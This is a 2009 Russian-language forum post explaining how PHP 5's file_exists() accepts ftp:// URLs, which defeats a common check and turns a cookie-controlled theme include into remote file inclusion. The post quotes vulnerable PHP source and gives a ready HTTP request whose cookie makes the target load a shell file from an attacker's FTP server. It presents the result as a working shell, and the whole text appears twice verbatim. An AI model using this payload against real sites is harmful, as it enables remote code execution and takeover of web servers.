.Slip
05.01.2009, 16:13
На статью вряд ли потянет, ничего принципиально нового я не расскажу, но мб кому то пойдёт на пользу. Те кто занимаются сурсо копанием знают что эта функция очень часто портила всем RFI. Теперь портить не будет:) Итак, начнём.
http://us3.php.net/manual/en/function.file-exists.php
Tip
As of PHP 5.0.0, this function can also be used with some URL wrappers.
http://us.php.net/manual/en/wrappers.ftp.php
As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. As of PHP 5.1.0: filemtime().
Для тех кто не понял, начиная с пхп 5 ф-я может работать с упаковщиками урл. Не только с ftp:// но так же и с php://memory, php://temp, ssh2.sftp://. Потом я просто подумал, зачем заморачиваться с последними тремя, если есть простой фтп. Теперь непного наглядности, каким же всё таки раком это нам поможет.
==>
<?php
echo file_exists("ftp://user:pwd@host/shell.txt");
?>==>
Для примера такой сурс:
<?php
...
// theme definition by configuration or by cookie
$usertheme = getparam("usertheme", PAR_COOKIE, SAN_FLAT);
if ($usertheme!="" AND !stristr("..",$usertheme) AND file_exists("$usertheme/theme.php")) {
$theme = $usertheme;
} else {
$theme = "def";
}
include "$theme/theme.php";
...
?>
Тут бы и LFI не вышел, из за stristr, но теперь можно получить полноценный RFI.
==>
POST /script.php HTTP/1.0
Host: host
Cookie: usertheme=ftp://login:pwd@host/shell.txt%00
Connection: close
magic_quotes_gpc = Off
==>
Готовый шелл
-EOF-
http://us3.php.net/manual/en/function.file-exists.php
Tip
As of PHP 5.0.0, this function can also be used with some URL wrappers.
http://us.php.net/manual/en/wrappers.ftp.php
As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. As of PHP 5.1.0: filemtime().
Для тех кто не понял, начиная с пхп 5 ф-я может работать с упаковщиками урл. Не только с ftp:// но так же и с php://memory, php://temp, ssh2.sftp://. Потом я просто подумал, зачем заморачиваться с последними тремя, если есть простой фтп. Теперь непного наглядности, каким же всё таки раком это нам поможет.
==>
<?php
echo file_exists("ftp://user:pwd@host/shell.txt");
?>==>
Для примера такой сурс:
<?php
...
// theme definition by configuration or by cookie
$usertheme = getparam("usertheme", PAR_COOKIE, SAN_FLAT);
if ($usertheme!="" AND !stristr("..",$usertheme) AND file_exists("$usertheme/theme.php")) {
$theme = $usertheme;
} else {
$theme = "def";
}
include "$theme/theme.php";
...
?>
Тут бы и LFI не вышел, из за stristr, но теперь можно получить полноценный RFI.
==>
POST /script.php HTTP/1.0
Host: host
Cookie: usertheme=ftp://login:pwd@host/shell.txt%00
Connection: close
magic_quotes_gpc = Off
==>
Готовый шелл
-EOF-